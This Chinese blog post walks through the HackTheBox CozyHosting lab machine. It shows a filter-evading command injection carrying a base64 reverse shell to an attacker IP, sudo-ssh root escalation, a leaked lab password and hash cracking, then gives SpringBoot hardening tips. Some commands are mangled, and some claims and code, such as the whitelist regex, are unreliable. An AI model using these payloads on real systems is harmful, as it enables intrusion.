从HTB CozyHosting靶机渗透实战看SpringBoot应用安全与权限提升

张开发
2026/4/18 0:56:22 15 分钟阅读

分享文章

从HTB CozyHosting靶机渗透实战看SpringBoot应用安全与权限提升
1. 靶机环境初探与信息收集第一次接触HTB的CozyHosting靶机时我习惯性地从基础信息收集开始。用nmap快速扫描目标IP10.10.11.230发现开放了四个关键端口22(SSH)、80(HTTP)、8000(HTTP)、8081(未知服务)。这里有个细节要注意80端口的nginx服务会自动跳转到cozyhosting.htb域名记得在/etc/hosts里做好本地DNS解析。深入扫描时发现个有趣现象8000端口运行着Python的SimpleHTTPServer而8081端口服务类型显示为blackice-icecap。实际测试发现8081端口存在过滤这往往意味着可能有WAF或特殊防护机制。我常用的小技巧是先用默认脚本扫描漏洞nmap --scriptvuln虽然这次没直接收获但为后续手工测试划出了重点区域。2. SpringBoot应用的安全盲区在目录扫描过程中意外发现了SpringBoot的actuator端点。这里要敲黑板——很多SpringBoot应用默认会暴露/heapdump、/env等敏感接口。我在实战中就通过/env端点找到了数据库连接信息包括spring.datasource.url和credentials。更关键的是会话管理漏洞。通过浏览器开发者工具查看Cookie时发现JSESSIONID使用了可预测的序列。用Burp的Sequencer模块分析确认后我直接伪造了管理员会话。这里有个实用技巧SpringBoot默认使用Tomcat的JSESSIONID如果服务器未正确配置随机源就可能被会话固定攻击。登录后台后发现了个SSH连接功能模块。看似普通的表单实则暗藏杀机——参数拼接直接传到后端执行。但第一次尝试执行whoami命令时却失败了原来系统做了基础过滤。3. 命令注入的花式绕过遇到命令过滤时我常用的三板斧是特殊字符绕过如反引号、$()替换空白符替代${IFS}、%09等编码转换base64、hex在CozyHosting这个案例中最终采用的payload结构很有代表性whoami;echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvNTU1NSAwPiYx|base64${IFS}-d|bash这个payload的精妙之处在于用分号分隔正常命令和攻击载荷${IFS}替代空格绕过过滤将反弹shell命令用base64编码隐藏通过管道实时解码执行实际测试时发现直接写反弹shell命令会被拦截但拆解成编码片段就顺利通过了。这种分段处理的手法在对抗WAF时特别有效。4. 数据库凭证的连锁反应拿到初始shell后在/app目录发现了cloudhosting-0.0.1.jar。用JD-GUI反编译后在application.properties里找到了数据库配置spring.datasource.urljdbc:postgresql://localhost:5432/cozyhosting spring.datasource.usernamepostgres spring.datasource.passwordQcI2k25RZ1用这个密码不仅成功登录了PostgreSQL还发现能复用SSH登录系统用户josh。这里涉及到一个常见问题——密码复用。很多管理员会为不同服务设置相同密码一旦某个地方泄露就会引发连锁反应。在数据库的users表里密码字段用的是BCrypt哈希。虽然直接破解难度大但若找到弱密码如admin/admin用john-the-ripper配合rockyou.txt仍然可能破解john --formatbcrypt hash.txt --wordlistrockyou.txt5. sudo权限的致命配置切换到josh用户后sudo -l显示有个危险配置User josh may run the following commands on localhost: (root) NOPASSWD: /usr/bin/ssh这个配置意味着可以root权限执行ssh命令。我常用的提权方法是sudo ssh -o ProxyCommand;sh 02 12 x原理是利用SSH的ProxyCommand参数执行命令。由于ssh以root权限运行所以获得的shell直接就是root权限。更稳妥的另一种方式是生成SSH密钥对将公钥写入/root/.ssh/authorized_keysmkdir /tmp/ssh chmod 700 /tmp/ssh ssh-keygen -t rsa -f /tmp/ssh/key echo ssh-rsa AAAAB... | sudo tee /root/.ssh/authorized_keys ssh -i /tmp/ssh/key rootlocalhost6. SpringBoot安全加固建议通过这次实战我总结了几个SpringBoot应用必须做的安全措施端点防护禁用敏感actuator端点management.endpoints.web.exposure.excludeenv,heapdump添加HTTP Basic认证management.endpoint.health.rolesACTUATOR会话管理Bean public WebSecurityCustomizer webSecurityCustomizer() { return (web) - web.securityContext() .securityContextRepository(new NullSecurityContextRepository()); }使用随机会话ID生成器并设置HttpOnly和Secure标志命令执行过滤PostMapping(/exec) public String exec(RequestParam String cmd) { if(!Pattern.matches([a-zA-Z0-9\\s], cmd)) { throw new IllegalArgumentException(); } // 白名单方式校验参数 }数据库安全使用Vault动态生成凭证为每个服务创建独立数据库账号定期轮换密码7. 从渗透到防御的思考每次渗透测试就像一次攻防演练。在CozyHosting案例中从Web漏洞到系统提权攻击链上的每个环节其实都有防御方案输入验证所有用户输入都应视为不可信最小权限数据库用户只给必要权限系统用户限制sudo范围纵深防御即使某层被突破也有下一层防护日志监控记录所有敏感操作如命令执行、特权变更最后分享个实用命令用于检测系统中潜在的权限问题# 查找SUID文件 find / -perm -4000 -type f 2/dev/null # 检查可写目录 find / -perm -ow ! -path /proc/* ! -path /sys/* 2/dev/null # 检查cronjobs ls -la /etc/cron* /var/spool/cron/crontabs/

更多文章